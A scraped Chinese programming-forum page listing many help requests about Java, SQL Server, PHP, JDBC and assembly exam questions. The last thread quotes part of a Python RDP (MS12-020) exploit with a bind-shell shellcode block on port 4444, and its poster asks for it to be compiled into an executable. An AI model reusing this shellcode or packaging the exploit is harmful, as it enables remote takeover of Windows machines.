跪求高手帮忙解决!! [问题点数:20分,结帖人liangchunyan15]

Bbs1
本版专家分:10
结帖率 75%
Bbs4
本版专家分:1986
Bbs4
本版专家分:1864
Bbs3
本版专家分:506
Bbs12
本版专家分:381322
Blank
状元 2017年 总版技术专家分年内排行榜第一
Blank
榜眼 2014年 总版技术专家分年内排行榜第二
Blank
探花 2013年 总版技术专家分年内排行榜第三
Blank
进士 2018年总版新获得的技术专家分排名前十
2012年 总版技术专家分年内排行榜第七
跪求高手帮忙解决,曲线平滑问题
实现Windows画画板那样的功能,可以随手画画,写字,rnrn现在的问题是,客户觉得写出来的字不平滑,希望用程序处理一下,请大虾们出出主意,有什么可行的方法<em>解决</em>rnrn1.考虑随便乱画,rn2.考虑点密集的时候该如何处理rn3.可以不考虑曲线实时平滑,如果能行那最好
跪求高手帮忙解决这个异常!
这是用jaxb绑定一个xml文件所出现的异常:rnException in thread "main" java.lang.ClassCastException: javax.xml.bind.JAXBElement cannot be cast to com.part.jaxp.Usersrn at com.part.jaxp.JavaTest.main(JavaTest.java:15)rnrnrnpackage com.part.jaxp;rnrnimport java.io.File;rnimport java.util.List;rnrnimport javax.xml.bind.JAXBContext;rnimport javax.xml.bind.JAXBException;rnimport javax.xml.bind.Unmarshaller;rnrnpublic class JavaTest rnrn public static void main(String[] args) throws JAXBException rn JAXBContext jc = JAXBContext.newInstance("com.part.jaxp");rn Unmarshaller unmarshaller = jc.createUnmarshaller();rn Users users= (Users)unmarshaller.unmarshal(new File( "src/user.xml"));rn //Books books = collection.getBooks();rn List userList = users.getUser();rn for (User user : userList) rn System.out.println(user.getName());rn rn rnrn rn
跪求高手帮忙解决一个问题
表bizrnbizid numberrnbizname varchar2rn表recrnrecid numberrnbizid numberrnstartdate daternenddate datern统计enddate大于startdate bizname="收件业务"的rid数量rnrn我写的rnrnselect count(recid) from biz b,rec r where b.bizid=r.bizid and r.startdate
跪求高手帮忙解决,优化存储过程!
下面是对单据进行审核时执行的存储过程。以前运行起来速度还可以 ,也不会出什么错,大概一分钟就可以完成。rn现在出现了如下问题:rn1、存储过程执行时间长达5-15分钟,占用很大的CPU,使其它程序无法继续;rn2、经常报错或执行不了。比如退货时没有修改成负数,还是正数。rn 请各位大虾<em>帮忙</em><em>解决</em>!看如何优化此存储过程,谢谢!rnrnrn/*---------------------rn入库出库单审核时rn更新商品目录表rn更新库存表rn*/rnrnCREATE PROCEDURE pcargosh(@orderno varchar(50),@orderlb varchar(50),@shrr varchar(50))ASrnset nocount onrnif (@orderlb='TH')or(@orderlb='SH')rnbegin rnupdate pbscitems set quantity=-quantity,amount=-amount where orderno=@ordernornupdate pcargo set quantity=-quantity,subtotal=-subtotal, mysubtal=-mysubtal where orderno=@ordernornendrnrndeclare @storename varchar(50)rndeclare @storeno1 varchar(50)rndeclare @storemax intrnselect @storename=storename,@storeno1=storeno1 from pcargo where orderno=@ordernornrnif @orderlb='PD'rn beginrn update pbscitems set storename=@storename where orderno=@ordernorn select bookid,sum(isnull(quantity,0)) quantity,storename into #tmp1 from pbscitems where orderno=@orderno and lb=@orderlb group by bookid,storenamern declare @maxpcb intrn select @maxpcb=isnull(max(id),0) from pcbrn select identity(int,1,1) id,bookid,quantity,storename into #tmp2 from #tmp1 where bookid not in(select bookid from pcb where storename=@storename)rn rn insert into pcb(id,bookid,storename)select @maxpcb+id,bookid,storename from #tmp2rn update pcb set quantity1=quantity1+#tmp1.quantity from #tmp1 where #tmp1.bookid=pcb.bookid and #tmp1.storename=pcb.storenamern rn return 0rn endrndeclare @shr varchar(50)rnselect @shr=shr from pcargo where orderno=@orderno and lb=@orderlbrnif @shr is not nullrnreturn 0rnrnrnupdate pbscitems set storename=@storename where orderno=@orderno and (storename is null or storename='')rnrnBEGIN TRAN T1rncreate table #tmptb(bookid int null,sl float null,zje float null,storename varchar(50) null)rnrninsert into #tmptb(bookid,sl,zje,storename)select pbscitems.bookid,sum(isnull(pbscitems.quantity,0)),sum(isnull(pbscitems.quantity*cargo.price,0)),pbscitems.storename from pbscitems,cargo where pbscitems.bookid=cargo.cargo_id and pbscitems.orderno=@orderno group by pbscitems.bookid,pbscitems.storenamernrn/*insert into #tmptb(bookid,sl,zje,storename)select bookid,sum(isnull(quantity,0)),sum(isnull(amount,0)),storename from pbscitems where orderno=@orderno group by bookid,storename*/rnrnselect @storemax=isnull(max(id),0) from currentstorernselect identity(int,1,1) id,bookid,storename into #tmptb1 from #tmptb where bookid not in(select bookid from currentstore where storename<>@storeno1)rnselect identity(int,1,1) id,bookid into #tmptb2 from #tmptb where bookid not in(select bookid from currentstore where storename=@storeno1)rnupdate pcargo set hkye=subtotal,fpjf='否' where orderno=@ordernorn/*rn更新在单数rn*/rnif (@orderlb='S')or(@orderlb='B')rnupdate orderit set onsave=isnull(orderit.onsave,0)+pbscitems.quantity from pbscitems where pbscitems.orderbh=orderit.bh and orderit.id=pbscitems.orderid and pbscitems.orderno=@ordernornrnif(@orderlb='B')or(@orderlb='PY')or(@orderlb='TH')or(@orderlb='QC')rnbeginrn/* 更新目录表信息*/rnupdate cargo set quantity=quantity+#tmptb.sl,amount=amount+#tmptb.zje from #tmptb where cargo.cargo_id=#tmptb.bookidrnend rnif @orderlb='B'rnbeginrnupdate cargo set onorder=onorder-tmpsl.sl from (select bookid,sum(quantity) sl from pbscitems where orderno=@orderno and orderbh is not null group by bookid) tmpsl where tmpsl.bookid=cargo.cargo_idrnupdate cargo set avgprice=amount/quantity where cargo_id in(select bookid from #tmptb) and quantity<>0rnupdate cargo set avgprice=0 where quantity=0rn/*更新库存分布表*/rnselect identity(int,1,1) id,bookid,storename into #tmptb3 from #tmptb where bookid not in(select bookid from currentstore where storename in(select storename from pbscitems where orderno=@orderno group by storename))rnrninsert into currentstore(id,bookid,storename)select @storemax+id,bookid,storename from #tmptb3rnupdate currentstore set quantity=quantity+#tmptb.sl,amount=amount+#tmptb.zje from #tmptb where currentstore.bookid=#tmptb.bookid and currentstore.storename=#tmptb.storenamernupdate cust set ys=isnull(cust.ys,0)+isnull(pcargo.subtotal,0) from cust,pcargo where orderno=@orderno and cust.custno=pcargo.custnornendrnif(@orderlb='S')or(@orderlb='PK')or(@orderlb='SH')rnbeginrnupdate cargo set quantity=quantity-#tmptb.sl from #tmptb where cargo.cargo_id=#tmptb.bookidrnendrnif @orderlb='S'rnbeginrnupdate cargo set onorder1=onorder1-tmpsl.sl from (select bookid,sum(quantity) sl from pbscitems where orderno=@orderno and orderbh is not null group by bookid) tmpsl where tmpsl.bookid=cargo.cargo_idrnupdate cargo set amount=quantity*price where cargo_id in(select bookid from #tmptb)rn/*更新库存分布表*/rnrnselect identity(int,1,1) id,bookid,storename into #tmptb4 from #tmptb where bookid not in(select bookid from currentstore where storename in(select storename from pbscitems where orderno=@orderno group by storename))rninsert into currentstore(id,bookid,storename)select @storemax+id,bookid,storename from #tmptb4 rnupdate currentstore set quantity=quantity-#tmptb.sl from #tmptb where currentstore.bookid=#tmptb.bookid and currentstore.storename=#tmptb.storenamernupdate currentstore set currentstore.amount=currentstore.quantity*cargo.price from cargo where cargo.cargo_id=currentstore.bookid and currentstore.bookid in(select bookid from #tmptb)rnupdate cust set ys=isnull(cust.ys,0)+isnull(pcargo.subtotal,0) from cust,pcargo where orderno=@orderno and cust.custno=pcargo.custnornendrnif(@orderlb='TB')rnbeginrn/*更新出库数量*/rnupdate currentstore set quantity=quantity-#tmptb.sl from #tmptb where currentstore.bookid=#tmptb.bookid and currentstore.storename=#tmptb.storenamernupdate currentstore set currentstore.amount=currentstore.quantity*cargo.price from cargo where cargo.cargo_id=currentstore.bookid and currentstore.bookid in(select bookid from #tmptb)rn/*更新入库数量*/rninsert into currentstore(id,bookid,storename)select @storemax+id,bookid,@storeno1 from #tmptb2 rnupdate currentstore set quantity=quantity+#tmptb.sl,amount=amount+#tmptb.zje from #tmptb where currentstore.bookid=#tmptb.bookid and currentstore.storename=@storeno1rnrnendrnupdate pcargo set shr=@shrr where orderno=@ordernornif @@error<>0 rn beginrnrollback tran T1rn endrnelsernbeginrnCOMMIT TRAN T1rnendrnGO
高手帮忙解决一个调试问题(跪求)
哪们兄弟遇到过这个VS.Net环境问题:rn老是提示:rn试图运行项目时出错:无法启动调试rn无法启动程序rnE:\study\ConsoleApplication1\ConsoleApplication1\bin\Debug\ConsoleApplication1.exe rnrn不管建什么项目都不行,重装VS.Net也不行rn在网上找了很多关于这方面的,都<em>解决</em>不了,什么调式服务启动啦,加入调试组都试了,怎么都不行,这是怎么回事啊
跪求高手帮忙
[code=Java][/code]package com.hou.test;rnimport java.sql.*;rnpublic class DBConnection rn String sDriver="com.mysql.jdbc.Driver";rn String url="jdbc:mysql://localhost/jiajiaowang";rn String user="root";rn String password="123dajie321";rn Connection conn=null;rn public DBConnection()rn tryrn Class.forName(sDriver);rn catch(Exception e)rn e.printStackTrace();rn rn rn public int DBinsert()rn int result=0;rn String sql="insert into jydj(xingMing) values('hou')";rn tryrn conn=DriverManager.getConnection(url,user,password);rn Statement stmt=conn.createStatement();rn result=stmt.executeUpdate(sql);rn conn.close();rn catch(Exception e)rn e.printStackTrace();rn rn return result;rn rnrnrnrn这个是我的JavaBean代码,我在前台jsp中用javabean调用DBinser为什么不能插入到数据库中数据,本人菜鸟啊,<em>跪求</em><em>高手</em>解答,拜谢
跪求高手帮忙啊!!!!!
请精通flash的<em>高手</em>帮<em>帮忙</em>,感激不尽!rn本人想修改这个flash上的文字和图片。rn(地址:http://www.tinghu.gov.cn/map/thmap.swf)rn对应的xml文件:http://www.tinghu.gov.cn/map/mapxml.xmlrn我已经下载了这个flash,对其进行了反编译,同时下载了xml文件,可是就是不知道如何修改才能将flash文件显示我所要的内容。rn
跪求 高手帮忙
我用的MYECLIPSErn先建立一个web project然后导入struts包 可是当我把这个工程打成 WAR包(myeclipse)后 在导入的时候 那些struts的包 就不在工程里了 就跑外面了 rnrn请<em>高手</em>指点 谢谢
跪求各位高手帮忙
[color=#FF0000]马上要清考了 老师发个套卷子 可是没答案呀! <em>跪求</em>各位<em>高手</em><em>帮忙</em><em>解决</em>下呀,万分感谢! 做多少是多少[/color]rn1、 16位寻址时,可以为存储器操作数提供偏移地址的寄存器组是: rn A、ax,bx,cx,dx B、bx,bp,si,dirnC、sp,ip,bp,dx D、cs,ds,es,ssrn2、 十进制数-100的8位二进制数的补码为: rn A、10011011 B、01100100rnC、10011101 D、10011100rn3、 CBW指令的功能是: rnA、把源操作数的符号位扩展到目的操作数中 rnB、把AL中的符号位扩展到AH中rnC、把AH中的符号位扩展到AL中 rnD、把AX中的符号位扩展到DX中rn4、 下列4条指令mul bx ; div bl; in ax,20h; out 21h,al rn 中,有 条指令需要使用dx寄存器。rn A、1 B、2rnC、3 D、4rn5、 循环指令loopnz继续循环条件是: rnA、CX=0 且 ZF=0 B、CX=0 或 ZF=0 rnC、CX≠0 且 ZF=0 D、CX≠0 或 ZF=0 rn6、下面那个指令是正确的: rnA、MOV AH,BX B、MOV AX,[SI][DI] rnC、MOV CS,AX D、MOV AX,DI rn7、80x86微机的存储器中存放信息如图1所示。rn30022H字单元的内容是: rnA、ABH B、AB34H rnC、CDEFH D、CDABHrn8、请给出下列指令序列执行完后AX和DX的内容为: rn MOV BX,98Hrn BSF AX,BXrn BSR DX,BX rnA、AX=7,DX=3 B、AX=3,DX=7 rnC、AX=8,DX=4 D、AX=4,DX=8rn9、假定DS=4000H,DI=0100H,[40100H]=AAH,那么执行指令“LEA BX,[DI]”BX= rnA、AA55H B、55AAH rnC、0100H D、205Hrn10、假设程序中的数据定义如下:rn PARTNO DW ?rn PNAME DB 16 DUP(?)rn COUNT DD ?rn PLENTH EQU $-PARTNOrn问PLENTH的值为 rnA、22 B、21rnC、23 D、20rnrnrnrnrnrnrnrnrnrnrnrn11、已知中断屏蔽寄存器的I/O地址是21H,中断命令寄存器的I/O地址是20H,(如上图所示)如果系统要新增设打印机中断,则可用下列那个指令实现:rnA、MOV AL,01111111B B、MOV AL,01111111Brn OUT 21H,AL OUT 20H,ALrnC、IN AL,21H D、IN AL,20H rn AND AL,01111111B AND AL,01111111Brn OUT 21H,AL OUT 20H,ALrn12、如下程序段中”DEC CX”指令执行了 次。rnMov cx,4rnJcxz nextrnAgain: dec cxrnJnz againrnNext:……..rnA、0 B、1rnC、4 D、5rn13、设计子程序应该采用的一对伪指令是: rnA、SEGMENT/ENDS B、START/END STARTrnC、PROC/ENDP D、MACRO/ENDMrn14、偏移地址100H开始安排程序,可使用 伪指令。rnA、START=100H B、ORG 100HrnC、START DB 100H D、START EQU 100Hrn15、对如下程序段: rnagain: mov es:[di],alrninc dirnloop againrn可用指令 完成相同的功能。rnA、rep movsb B、rep lodsbrnC、rep stosb D、rep stoswrn二. 填空题(每题1分,共15分)rn1.INT 12H 指令中,中断型号在中断向量表中的首地址,其物理地址为:rn (1) rn2.一个有16个字的数据区,它的起始地址为07A0:DDF6,那么该数据区的最后一个字单元的物理地址为: (2) rn3.在SUB AX,BX指令执行后,CF=1,说明:(a)最高有效位 (3) (b)对 (4) 数,操作结果溢出。rn4.给定(sp)=0100,(ss)=0300,(flags)=0240,以下存储单元的内容为(00020)=0040h,(00022)=0100h,在段地址为0900H及偏移地址为00A0的单元有一条中断指令INT 8,试问执行INT 8指令后,rnSP= (5) ,SS= (6) 、IP= (7) ,FLAGS= (8)。rn5.存储器中,数据是以 (9) 为单位存放的,它是一个 (10)位二进制数。rn6.可执行指令代码通常应该存放在 (11) 段。rn7.在堆栈结构中,其数据的操作原则是 (12) 。rn8.给出等值语句如下rn ALPHA EQU 100 rn BETA EQU 25rn GAMMA EQU 2rn下列表达式的值是多少?rn(1) BETA AND 7 表达式值为: (13) rn(2) ALPHA*100+BETA 表达式值为: (14) rn(3)ALPHA MOD GAMMA+BETA 表达式值为: (15) rn三、判断下列指令是否正确:(10分)rn1. POP CS ( )rn2. PUSH WORD PTR 20[BX+SI-2] ( )rn3. LEA BX,4[BX] ( )rn4. JMP BYTE PTR [BX] ( )rn5. SAR AX,5 ( )rn6. MOV BYTE PTR[BX],1000 ( )rn7. CMP [DI],[SI] ( )rn8. ADD BX,OFFSET A ( )rn9. IN AL,DX ( )rn10. MUL 25 ( )rn三. 解答题(共18分)rn1.某程序的数据段定义如下:rn DATASG SEGMENTrn PARTLIST DB ‘PART#’rn DB 60rn DB ‘PRICE‘rn DW 0125rn DB ‘DESCRIPTION‘rn DB ‘RADIO‘rn LISTLENG EQU ( ) ;数组长度,用表达式表示rn DATASG ENDSrn请填写空格处的代码,使LISTLENG数值为PARTLIST数组的字节长度。(2’)rn2.给定宏定义如下:rnDIF MACRO X,YrnMOV AX,XrnSUB AX,YrnENDMrnABSDIF MACRO V1,V2,V3rn LOCAL CONTrnPUSH AXrnDIF V1,V2rnCMP AX,0rnJGE CONTrnNEG AXrnCONT:MOV V3,AXrnPOP AXrnENDMrn展开ABSDIF P1,P2,DISTANCE调用如下rn1 PUSH AXrn2 MOV AX,P1rn2 SUB AX, (1) rn1 CMP AX,0rn1 JGE (2) rn1 NEG AXrn1 (3) :MOV V3,AXrn1 POP AXrn请填空并写出第一次调用ABSDIF [BX],[SI],X[DI],CX的宏展开。(8分)rn3.现有宏定义如下:rnDISPCHAR MACRO CHARrnMOV AH,2rnMOV DL,CHARrnINT 21HrnENDMrn试回答:该宏的功能是什么?参数CHAR应该是一个怎样的数据?(4分)rn4.试分析下面的程序段完成什么功能?(4分)rn MOV CL,04rn SHL DX,CLrn MOV BL,AHrn SHL AX,CLrn SHR BL,CLrnOR DL,BLrn四. 编程题rn1.试编制一个程序把BX寄存器内的二进制数用十六进制的形式在屏幕上显示出来rn2.设有10个学生的成绩分别是:76,69,84,90,73,88,99,63,100,80分。rn试编制一个子程序统计60~69分,60~69分,70~79分,80~89分,90~99分和100分的人数并分别存放到S6, S7, S8, S9和S10单元中。rn
跪求高手帮忙改改...........................................................
排序都正常,但是一翻页或者按尾页,还是原来没排序的数据rn[code=PHP]$field=$_REQUEST["field"];rnif($field=="")rn$field="id";rnrnelsern$field=$_REQUEST["field"];rnrnrn$order=$_REQUEST["order"];rnif($order=="")rn$order="asc";rnrnelsern$order=$_REQUEST["order"];rnrnrn$rowsPerPage=10; rn$maxPage=ceil($countnum/$rowsPerPage); rn$page=isset($_GET['curPage'])?intval($_GET['curPage']):1; rn$page = $page$maxPage?$maxPage:$page;rnrn$start=$rowsPerPage*($page-1);rn$sel = "SELECT * FROM hotel_rizhi $where1 order by ".$field." ".$order." limit $start,$rowsPerPage"; rn$result1=mysql_query($sel) or die("查询失败"); rn/*******************输出表格***************/rnecho " '.''.' 首页"." ";rnif($page>1) rn $prevPage=($page-1)$maxPage?$maxPage:$page+1;rn echo"";rn rnecho ""." 尾页"." ".""rn?>[/code] ";rnecho ' ';rnecho ' '.'选择'.'';rnif($order=="asc")rnecho ' '.'酒店ID'.'';rnelsernecho ' '.'酒店ID'.'';rnrnecho ' '.'姓名'.'';rnecho ' '.'内容介绍'.'';rnecho ' '.'操作'.'';rnif($order=="asc")rn echo ' 时间';rnelsern echo ' 时间';rnrnecho '';rn$order=$_REQUEST["order"];rn//循环输出表中各个字段值 rnecho ' '; rnwhile ($row = mysql_fetch_array($result1)) rn?>rn rn rn rn rn rn rn rnrn';rnecho ''; rnecho "
跪求高手帮忙!~
我用的机子配置是主板810的, 声卡是als4000, 网卡是legend ln1068, 在WIN98下工作正常,声卡用的中断是4, 网卡是9rn 在WIN2KPRO下就出问题了, 声卡也用了中断9, 两个硬件起冲突, 只要同时用两个硬件, 比如听音乐上网, 不到5秒就声卡网卡都不工作, 但是在设备管理器里, 两个硬件都是正常显示, 没有冲突, 而且出了问题后再看,还是显示正常, 中断又不能直接改, 我现在都不知道怎么办了。rn 哪位大哥,大姐帮帮我吧, 谢谢先!
高手帮忙啊!!!跪求
下面有一段*txt文本文档,如下:rn◇十大股东◇rn rn────────────────┬────┬───┬───────────rn  股东名称       │ 持股数 │ 比例 │ 股份性质rn                │ (万股) │ (%) │ (股)rn────────────────┼────┼───┼───────────rn1 乌海市国有资产管理局 │2653.20 │16.580│国家股rn2 内蒙古乌海西卓子山第三产业开发│2253.00 │14.080│境内法人股rn3 上海德莱科技有限公司 │2192.80 │13.700│境内法人股rn4 内蒙古乌海西卓子山建筑安装公司│1447.00 │9.040 │境内法人股rn5 北京新天地互动多媒体技术有限公│1421.00 │8.880 │境内法人股rn6 乌海市工业设计研究所 │33.00 │0.210 │境内法人股rn7 张继谦 │15.01 │0.094 │流通A股rn8 中宁公司 │14.42 │0.090 │流通A股rn9 王云 │11.18 │0.070 │流通A股rn10戴小莹 │10.75 │0.067 │流通A股rn────────────────┴────┴───┴───────────rnrn我想把它导入到SQLSERVER2000数据库中去,然后建成一张表为了能达到我查询的目的,我的目的是在PB的窗口创建一个BUTTON控件“十大股东”,然后点一下该控件就显示出十大股东的名字了!rn现在的问题是我该怎么样建这张表,才能达到我的目的?也许我表达不是很清楚,我一直在线的,<em>高手</em>们可以问的,如果达到我的目的,也没有什么可送的rn我的分全送!(还有140分!)rn
跪求高手帮忙-exercise4.m
<em>跪求</em><em>高手</em><em>帮忙</em>-exercise4.m 我最近在搞自适应阈值曲波图像去噪,谁有代码,求<em>高手</em><em>帮忙</em>,有自适应阈值小波图像去噪也行
跪求高手帮忙解决问题
我现在需要用mfc做一个界面工具,该工具实现traceroute功能,但是我想在显示ip地址后面再加一行,直接显示该ip地址的归属地,也就是需要能够实现ip地址查询的源码(C++),有人能提供p帮助吗?
跪求高手帮忙
辛辛苦苦做了一个星期的东西,一直没有报错,今天突然报错,一直报这个错误 :cannot creat form noMDI forms are currently active ,前提是我已经设置主窗体和子窗体了,
跪求高手帮忙!!!
最近研究JDBC,发现里面插入的语句十分复杂,让人很纠结...然后寻找替代方法,找到了个MessageFormat.format( a ,b)的方法。然后问题就来了:我想向数据库中插入一条语句,是从控制台接收变量插入,如例:String sql=MessageFormat.format(rn"insert table1 vales('0','1',2)",loginid,pwd,sid);其中loginid和pwd都是String型,sid是int型。我发现这样就用不了这个简单的方法,很纠结。因为这样sql输出的是 insert table1 values(0,1,3)...如果前面不用’单引号引起来,就是insert table1 values(superadmin,sa123,3),但是这样插到数据库中又报有语法错误,原因是缺少’单引号。真是让人纠结啊,不知道有什么<em>解决</em>的方法没?我连用\去转义单引号都做了,但是还是不行......真的郁闷了。求教....
再次跪求高手帮忙`~!
下面是我实验的一个登陆验证的代码:rnrn tryrn rn Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver"); rn url = "jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=eatingol"; rn user = "sa"; rn password = ""; rn dbconnect = DriverManager.getConnection(url,user,password);rn state = dbconnect.createStatement();rn sqlcheck = "SELECT * FROM userpwd";rn rs = state.executeQuery(sqlcheck);rn rs.next();rn if (loginuser.getText() == rs.getString("用户" && loginpwd.getText() == rs.getString("密码"));rnrn loginuser.setText("true");rnrnelsernrn loginpwd.setText("false");rnrn rn rn catch(Exception e)rn rn rnrn问题是,结果就是验证不过去``,rnrn我开始怀疑是编码问题,数据库是MSSQL2K rnrnrn后来改成了静态的:rn if (loginuser.getText() == "456123" && loginpwd.getText() == "313")rn rn loginuser.setText("true");rn rn elsern rn loginpwd.setText("false");rn rnrnrn结果还是不正确,都显示falsernrn怎么回事?麻烦<em>高手</em>教下``,谢谢了`~!,刚恢复了10分,少了点,不好意思`~,最近分用太多了!
跪求高手帮忙。。。
PHP初学者,但目前遇到一个很棘手的问题,严重挑战俺的智商,但最终结果还是。。。。。rnrn先上问题,在我们的网站上就是想把某个人的bolg发表的文章放到首页去 。。。rn但真不清楚要怎么加。。rn<em>高手</em>加我QQ吧303688495 拜谢。。在线等。。rn
跪求高手帮忙~~~~~~~~~~~
我绑定了gridview后控件失效了,好多控件都不能用了,主要原因我看了哈,是绑定的数据行过多的原因,有没有哪位<em>高手</em>碰到过一样的情况<em>帮忙</em>提点下,谢谢各位!比如我绑定的行数是 5,就正常,等我绑定的行尾20 多的时候就出问题了,原因是什么,????rnrn代码如下:rnrn conn = new OracleConnection(ConnectionString);rn conn.Open();rnrn OracleCommand cmd = conn.CreateCommand();rn string sql = "";rn string sqlreturn = MakeSql(0);rn if (sqlreturn == "")rn rn return;rn rn elsern rn sql = sqlreturn;rn rnrn cmd.CommandText = sql;rn OracleDataReader odr = cmd.ExecuteReader(); //创建一个OracleDateReader对象rn DataSet ds = new DataSet();rn OracleDataAdapter oda = new OracleDataAdapter();rn oda.SelectCommand = cmd;rnrn oda.Fill(ds);rn conn.Close();rnrn GridView1.AllowPaging = true;rn GridView1.PageSize = 21;rnrn GridView1.DataSource = ds.Tables[0].DefaultView;rn GridView1.DataBind();rn odr.Dispose();rn oda.Dispose();rn ds.Dispose();rnrnrn当GridView1.PageSize = 21 修改成5的时候就不存在失效的问题了
跪求高手帮忙
小弟自己写了个服务器TABLE,在第二行里放了个CheckBox。然后绑定数据库。rn玩游戏□rn听音乐□rn看影碟□rn。。。rn然后我想找到哪个为选中状态并存储选中的(不只是一个页面有)。然后更新到数据库。请问大家怎么存储这些值和怎么写更新语句?。谢谢大家了!rn
跪求高手帮忙!!!!!!!!
如何从WINDOWS上拖动文件到LISTVIEW中?rnrn还有 我在WINDOWS桌面上点了复制后可以复制后 可以粘贴到LISTVIEW中
跪求高手帮忙-exercise3.m
<em>跪求</em><em>高手</em><em>帮忙</em>-exercise3.m 我最近在搞自适应阈值曲波图像去噪,谁有代码,求<em>高手</em><em>帮忙</em>,有自适应阈值小波图像去噪也行
难题。。跪求高手帮忙
有些控件内部又关联的子控件,例如Toolbar中嵌入了按钮,ComboBox中包含了ListBox和Edit两个控件。我想知道这些子控件的句柄有方法没?最好是Win32 Api的方法。例如我想知道Toolbar中的按钮的句柄 或者状态有没有什么好办法?
跪求D3D高手帮忙
我的程序,.x模型显示出来加上光照效果后,模型出现破面。就是视角稍微远些后,模型表面出现锯齿,破面。rn我用SDK例子里面的mview程序打开这个模型看, 没有问题。rnrn请问是我的硬件有问题还是哪里设置不对, 如果是硬件问题mview也应该有问题啊!!~~~rnrn<em>高手</em>帮<em>帮忙</em>~~~~~~~~~
高手请进,跪求高手帮忙~~~~~
请问谁用过spider monkey 这个js引擎,小弟开始接触,能不能告诉这个怎么和C语言混合编程?如果会的话请把操作步骤说的详细一些,一定多给分。还有就是MTK这个手机平台要是懂的话就请一起给说说吧。怎么样才能搭建起来?目前小弟还没相应的平台,更不知如何搭建啦。
跪求高手解决
本人遇到一个特别奇怪的问题,其情况如下:rnrn1- 系统为WINDOWS 2000 PRO;rn2- 目前在局域网内连有十几台机器,全部采用DHCP动态IP地址;rn3- 网络安装后,物理链路没有问题,但是看到的收的包几乎为零;rn4- 采用IPCONFIG/ALL命令检查所有的IP地址正确;rn5- 无法浏览网站,用PING的命令能PING通到DNS的地址,但是PING不同外部的地址,无论是WWW开头的,还是直接以XXX.XXX.XXX.XXX的,当然内部的地址都可以PING通;rn6- 检查网卡设置,有MICROSOFT 网络客户端,MICROSOFT文件共享和打印以及TCP/IP协议设置。从5的说明来看,TCP/IP应该正常;因此着手删除了上述客户端和共享服务,然后重启机器,重新装载上述两项,此时可以正常上网;rn7- 重启后故障恢复,只能继续采用6的办法恢复正常;rnrn本人觉得好象DNS的解析出问题,但是却找不到原因。因此求<em>高手</em>赐教!rn
跪求高手解决spring+c3p0
http://topic.csdn.net/u/20120510/13/fea82675-3fa1-49e6-8abe-ccee8dadba2c.html?seed=1103500143&r=78519257#r_78519257rnrnrn数据库session上限设置400;rn程序运行。session增加10rn登录:session不变rn查询数据1次,session增加10。rn30多次后,达到数据session上限。:连接数据库失败。
跪求高手帮我解决
我刚装了VS2003!什么都安好了!可以运行!但新建一个项目选ASP。NET WEB应用程序就提示:Visual Studio .net 已检测到指定的WEB服务器运行的不是ASP。NET1。1版。rn这是什么意思啊!我以前没遇到这个问题!有<em>高手</em>告诉我吗?rn
跪求高手解决乱码
rnrn rn rn var base_url = 'url('/')); ?>';rn rn中文可显示.但是数据入库后变成乱码,读取出来也是乱码rn把UTF-8改成GB2312,程序正常,但是中文出现乱码,rn
~~!急 跪求高手解决
怎么将txt的文件编译成 exe,语言为 python。 能<em>帮忙</em>编译一下吗?十分感谢!本人QQ:549476230rn txt文件如下:rnrn #!/usr/bin/env pythonrn#############################################################################rn# MS12-020 Exploit by Saburn# sabu@fbi.govrn# Uses FreeRDPrn#############################################################################rnrnimport structrnimport sysrnfrom freerdp import rdpRdprnfrom freerdp import cryptornfrom freerdp.rdpRdp import rdpNegornrn#bind shellcode TCP port 4444rnshellcode = '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'rnshellcode += '\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9'rnshellcode += '\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56'rnshellcode += '\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22'rnshellcode += '\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30'rnshellcode += '\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81'rnshellcode += '\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42'rnshellcode += '\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22'rnshellcode += '\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9'rnshellcode += '\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79'rnshellcode += '\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab'rnshellcode += '\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa'rnshellcode += '\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48'rnshellcode += '\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1'rnshellcode += '\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0'rnshellcode += '\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe'rnshellcode += '\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9'rnshellcode += '\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84'rnshellcode += '\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56'rnshellcode += '\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8'rnshellcode += '\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79'rnshellcode += '\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6'rnshellcode += '\xba\xb5\x60\x56\x39\x4a\xb6\xa9'rnrnrn#Payloadrnpayload = '\x41\x00\x5c\x00'rnpayload += 